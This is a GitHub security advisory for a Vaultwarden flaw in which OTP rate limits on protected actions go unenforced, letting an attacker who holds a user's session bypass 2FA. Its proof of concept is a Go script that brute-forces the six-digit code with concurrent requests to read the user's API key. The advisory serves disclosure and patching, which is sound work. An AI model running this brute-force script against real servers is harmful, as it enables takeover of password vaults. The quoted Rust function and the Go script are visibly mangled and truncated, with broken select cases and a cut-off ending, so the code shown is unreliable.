GitHub Advisoryadvisory · crates.io
GHSA-v6pg-v89r-w8wr Vaultwarden has 2FA Bypass on Protected Actions due to Faulty Rate Limit Enforcement
MEDIUM
Official page ↗
- Aliases
- CVE-2026-27801
- Ecosystem
- crates.io
- Packages
- vaultwarden
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-307
- Reviewed
- 2026-03-04
Affected packages
• crates.io vaultwarden: < 1.35.0 → fixed in 1.35.0
Description
Summary
Vaultwarden v1.34.3 and prior are susceptible to a 2FA bypass when performing protected actions. An attacker who gains authenticated access to a user’s account can exploit this bypass to perform protected actions such as accessing the user's API key or deleting the user's vault and organisations the user is an admin/owner of.
Note that
Details
Within Vaultwarden, the `PasswordOrOtpData` struct is used to gate certain protected actions such as account deletion behind a 2FA validation. This validation requires the user to either re-enter their master password, or to enter a one-time passcode sent to their email address.
By default, the one-time passcode is comprised of six digits, and the expiry time for each token is ten minutes. The validation of this one-time passcode is performed by the following function:
```rust
pub async fn validate_protected_action_otp(
otp: &str,
user_id: &UserId,
delete_if_valid: bool,
conn: &mut DbConn,
) -> EmptyResult {
let pa = TwoFactor::find_by_user_and_type(user_id, TwoFactorType::ProtectedActions as i32, conn)
.await
.map_res("Protected action token not found, try sending the code again or restart the process")?;
let mut pa_data = ProtectedActionData::from_json(&pa.data)?;
pa_data.add_attempt();
// Delete the token after x attempts if it has been used too many times
// We use the 6, which should be more then enough for invalid attempts and multiple valid checks
if pa_data.attempts > 6 {
pa.delete(conn).await?;
err!("Token has expired")
}
// Check if the token has expired (Using the email 2fa expiration time)
let date =
DateTime::from_timestamp(pa_data.token_sent, 0).expect("Protected Action token timestamp invalid.").naive_utc();
let max_time = CONFIG.email_expiration_time() as i64;
if date + TimeDelta::try_seconds(max_time).unwrap()
Proof of Concept
The easiest method of demonstrating this vulnerability is by making an (authenticated) request to the `/api/accounts/request-otp` endpoint to generate an OTP, and then repeatedly sending invalid guesses to `/api/accounts/verify-otp`. After six guesses, Vaultwarden will still reply `"Token is invalid"` in response to an incorrect guess, rather than `"Token has expired"` as expected when the rate limit is exceeded. Upon entering the correct OTP, the code will still validate despite more than six guesses being made.
For a more practical example, the following Go script will brute force the OTP in order to read the user’s API key.
```go
package main
import (
"bytes"
"context"
"crypto/tls"
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"sync"
"sync/atomic"
"time"
)
const (
host = "https://10.10.0.1:8000"
jwtToken = "..."
concurrency = 100
totalOtps = 1000000
)
type Brute struct {
client *http.Client
}
func NewBrute() *Brute {
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
return &Brute{
client: &http.Client{Transport: tr},
}
}
func (v *Brute) RequestOTP() error {
req, err := http.NewRequest("POST", host+"/api/accounts/request-otp", nil)
if err != nil {
return fmt.Errorf("failed to create OTP request: %w", err)
}
req.Header.Set("Authorization", "Bearer "+jwtToken)
resp, err := v.client.Do(req)
if err != nil {
return fmt.Errorf("failed to send OTP request: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusBadRequest {
return fmt.Errorf("unexpected status code for OTP request: %d", resp.StatusCode)
}
fmt.Println("Requested OTP successfully")
return nil
}
func (v *Brute) GetAPIKey(ctx context.Context, otp string) (bool, error) {
payload, _ := json.Marshal(map[string]string{"otp": otp})
body := bytes.NewBuffer(payload)
req, err := http.NewRequestWithContext(ctx, "POST", host+"/api/accounts/api-key", body)
if err != nil {
return false, fmt.Errorf("failed to create verification request: %w", err)
}
req.Header.Set("Authorization", "Bearer "+jwtToken)
req.Header.Set("Content-Type", "application/json")
resp, err := v.client.Do(req)
if err != nil {
return false, err
}
defer resp.Body.Close()
switch resp.StatusCode {
case http.StatusOK:
body, err := io.ReadAll(resp.Body)
if err == nil {
fmt.Println("\n-----\n" + string(body) + "\n-----\n")
}
return true, nil
case http.StatusBadRequest:
return false, nil
default:
return false, fmt.Errorf("unexpected status code for verification: %d", resp.StatusCode)
}
}
func progressTracker(ctx context.Context, counter *uint64, start time.Time) {
ticker := time.NewTicker(300 * time.Millisecond)
defer ticker.Stop()
for {
select {
case 0 {
rps = float64(done) / elapsed
}
fmt.Printf("\rprogress: %d/%d (%.2f%%) | %.2f req/sec | elapsed: %.1fs\n", done, totalOtps, float64(done)/float64(totalOtps)*100, rps, elapsed)
return
case 0 {
rps = float64(done) / elapsed
}
fmt.Printf("\rprogress: %d/%d (%.2f%%) | %.2f req/sec | elapsed: %.1fs", done, totalOtps, float64(done)/float64(totalOtps)*100, rps, elapsed)
}
}
}
func main() {
brute := NewBrute()
if err := brute.RequestOTP(); err != nil {
log.Fatalf("Error: %v", err)
}
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
var wg sync.WaitG…
Related
Alias · CVE (1)
- CVE-2026-27801 Vaultwarden is an unofficial Bitwarden compatible server written in Rust, formerly known as bitwarden_rs. vulnerability
Weakness · CWE (1)
- CWE-307 Improper Restriction of Excessive Authentication Attempts weakness